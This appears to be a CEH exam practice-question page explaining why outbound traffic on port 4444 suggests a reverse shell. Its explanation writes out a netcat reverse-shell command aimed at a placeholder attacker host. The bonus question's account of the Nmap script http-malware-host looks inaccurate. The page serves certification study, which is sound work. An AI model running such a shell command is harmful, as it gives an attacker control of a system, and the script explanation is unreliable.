← CEH·EC-Council

Question 586 of 1,010

Footprinting, Reconnaissance and Scanning →mediumMultiple ChoiceObjective-mapped

Quick Answer

The correct answer is that a vulnerability discovered during the scan was exploited, establishing a reverse shell connection to the attacker. This is the most likely cause because outbound traffic on port 4444 from an internal server to a known malicious IP is a textbook indicator of reverse shell detection outbound traffic, where the compromised system initiates the connection back to the attacker’s listener to bypass inbound firewall restrictions. On the Certified Ethical Hacker CEH exam, this scenario tests your ability to correlate post-scan activity with common post-exploitation techniques, specifically distinguishing a reverse shell from a simple data exfiltration or beaconing. A common trap is assuming all outbound traffic is data theft, but the key clue is the high port (4444) and the timing immediately after a vulnerability scan, which points to an exploited remote code execution flaw. Memory tip: think “reverse the flow” — the victim calls out, so the firewall lets it through, and 4444 is a classic Metasploit default.

CEH Footprinting, Reconnaissance and Scanning Practice Question

This CEH practice question tests your understanding of footprinting, reconnaissance and scanning. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.

A security analyst notices unusual outbound traffic from an internal server to a known malicious IP address on port 4444. The server is running a web application that was recently scanned using a vulnerability scanner. Which of the following is the MOST likely cause?

Clue words in this question

Noticing these words before you look at the options changes how you read each choice.

Clue: "most likely"
Why it matters: Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.

Question 1mediummultiple choice

Full question →

A
The server is performing a DNS lookup to resolve the malicious IP address
Why wrong: DNS lookups use UDP/TCP port 53, not port 4444.
B
The web application is sending log data to a SIEM system for analysis
Why wrong: SIEM log forwarding typically uses ports like TCP/514 or TCP/1514, not 4444, and would not go to a known malicious IP.
C
A vulnerability discovered during the scan was exploited, establishing a reverse shell connection to the attacker
Port 4444 is commonly used for reverse shells. Outbound traffic to a malicious IP on this port indicates successful exploitation and a backdoor connection.
D
The vulnerability scan caused a false positive and triggered a legitimate backup process
Why wrong: Backup processes typically use standard ports like TCP/443 or TCP/22, not high ports like 4444, and would not connect to a known malicious IP.

Full breakdown with real-world context →

Answer choices

Why each option matters

Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.

Correct answer & explanation

✓

A vulnerability discovered during the scan was exploited, establishing a reverse shell connection to the attacker

Option C is correct because outbound traffic on port 4444 from an internal server to a known malicious IP is a classic indicator of a reverse shell connection. A reverse shell is a common post-exploitation technique where an attacker forces the victim server to connect back to their listener, often on high ports like 4444, bypassing inbound firewall rules. The timing after a vulnerability scan strongly suggests that a discovered vulnerability (e.g., command injection, RCE) was exploited to establish this shell.

Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

✗
The server is performing a DNS lookup to resolve the malicious IP address
Why it's wrong here
DNS lookups use UDP/TCP port 53, not port 4444.
✗
The web application is sending log data to a SIEM system for analysis
Why it's wrong here
SIEM log forwarding typically uses ports like TCP/514 or TCP/1514, not 4444, and would not go to a known malicious IP.
✓
A vulnerability discovered during the scan was exploited, establishing a reverse shell connection to the attacker
Why this is correct
Port 4444 is commonly used for reverse shells. Outbound traffic to a malicious IP on this port indicates successful exploitation and a backdoor connection.
Clue confirmation
The clue word "most likely" in the question point toward this answer.
Related concept
Read the scenario before looking for a memorised answer.
✗
The vulnerability scan caused a false positive and triggered a legitimate backup process
Why it's wrong here
Backup processes typically use standard ports like TCP/443 or TCP/22, not high ports like 4444, and would not connect to a known malicious IP.

Common exam traps

Common exam trap: answer the scenario, not the keyword

The trap here is that candidates may confuse reverse shells with normal outbound traffic like DNS or backups, failing to recognize that port 4444 is a well-known Metasploit default for reverse TCP payloads and that outbound connections to malicious IPs are a hallmark of compromise.

Detailed technical explanation

How to think about this question

Reverse shells often use netcat (nc -e /bin/bash <attacker_IP> 4444) or Metasploit's reverse_tcp payload, which initiates a TCP connection from the victim to the attacker on a high port (commonly 4444, 1337, or 8080). This outbound connection bypasses ingress firewall rules that block inbound connections, making it a favored technique for attackers. The vulnerability scanner likely identified a flaw (e.g., unvalidated input in the web app) that allowed remote code execution, which the attacker then leveraged to spawn the reverse shell.

KKey Concepts to Remember

Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.

TExam Day Tips

Watch for words such as best, first, most likely and least administrative effort.
Review why wrong options are wrong, not only why the correct option is correct.

Key takeaway

Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.

Real-world example

How this comes up in practice

A practitioner preparing for the CEH exam encounters this exact type of scenario on the job. The correct answer here is not the most general option — it is the best answer for the specific constraint described. Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option. Real exam questions reward reading the full scenario before eliminating options, because the constraint defines which answer fits.

What to study next

Got this wrong? Here's your next step.

Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.

Related CEH practice-question pages

Use these pages to review the topic behind this question. This is how one missed question becomes focused revision.

Footprinting, Reconnaissance and Scanning practice questions

Practise CEH questions linked to Footprinting, Reconnaissance and Scanning.

Enumeration and System Hacking practice questions

Practise CEH questions linked to Enumeration and System Hacking.

Malware, Social Engineering and Network Attacks practice questions

Practise CEH questions linked to Malware, Social Engineering and Network Attacks.

Web Application and Injection Attacks practice questions

Practise CEH questions linked to Web Application and Injection Attacks.

Introduction to Ethical Hacking practice questions

Practise CEH questions linked to Introduction to Ethical Hacking.

Scanning Networks and Enumeration practice questions

Practise CEH questions linked to Scanning Networks and Enumeration.

Vulnerability Analysis and System Hacking practice questions

Practise CEH questions linked to Vulnerability Analysis and System Hacking.

Advanced Topics: Wireless, Cloud, IoT, Cryptography practice questions

Practise CEH questions linked to Advanced Topics: Wireless, Cloud, IoT, Cryptography.

Footprinting and Reconnaissance practice questions

Practise CEH questions linked to Footprinting and Reconnaissance.

Network and Web Application Attacks practice questions

Practise CEH questions linked to Network and Web Application Attacks.

Wireless, IoT and Cloud Security practice questions

Practise CEH questions linked to Wireless, IoT and Cloud Security.

Cryptography and Malware Analysis practice questions

Practise CEH questions linked to Cryptography and Malware Analysis.

Practice this exam

Start a free CEH practice session

Short sessions build daily habit. Longer sessions build exam-day stamina. Try a timed session to simulate real conditions.

10 questions 20 questions 30 questions 50 questions Timed 30

CEH practice-test guide →Study guide →Browse all practice tests

FAQ

Questions learners often ask

What does this CEH question test?

Footprinting, Reconnaissance and Scanning — This question tests Footprinting, Reconnaissance and Scanning — Read the scenario before looking for a memorised answer..

What is the correct answer to this question?

The correct answer is: A vulnerability discovered during the scan was exploited, establishing a reverse shell connection to the attacker — Option C is correct because outbound traffic on port 4444 from an internal server to a known malicious IP is a classic indicator of a reverse shell connection. A reverse shell is a common post-exploitation technique where an attacker forces the victim server to connect back to their listener, often on high ports like 4444, bypassing inbound firewall rules. The timing after a vulnerability scan strongly suggests that a discovered vulnerability (e.g., command injection, RCE) was exploited to establish this shell.

What should I do if I get this CEH question wrong?

Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.

Are there clue words in this question I should notice?

Yes — watch for: "most likely". Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.

What is the key concept behind this question?

Read the scenario before looking for a memorised answer.

About these practice questions

Courseiva creates original exam-style practice questions with explanations and wrong-answer analysis. It does not publish real exam questions, exam dumps, or protected exam content. Learn why practice questions differ from exam dumps →

How Courseiva writes practice questions · Editorial policy

Same concept, more angles

1 more ways this is tested on CEH

These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.

Variation 1. A security analyst observes unusual outbound traffic from an internal host to an external IP on port 443. The analyst suspects a reverse shell where the internal host initiates an HTTPS connection to the attacker. Which Nmap script would be MOST useful to confirm the nature of this traffic if the analyst can run a scan on the internal host?

hard

A.tls-nextprotoneg
B.smb-enum-shares
✓ C.http-malware-host
D.ssh2-enum-algos

Why C: Option C (http-malware-host) is correct because it checks the internal host's DNS cache or HTTP traffic against known malware domains, which can reveal if the outbound HTTPS connection is to a command-and-control server. Since the traffic is on port 443 (HTTPS), this script can identify malicious destinations without decrypting the traffic, making it ideal for confirming a reverse shell scenario.

Keep practising

Question Discussion

Share a tip, memory trick, or ask about the reasoning behind this question. Do not post real exam questions, leaked content, braindumps, or copyrighted exam material. Comments are moderated and may be removed without notice.

Loading comments…

This CEH practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CEH exam.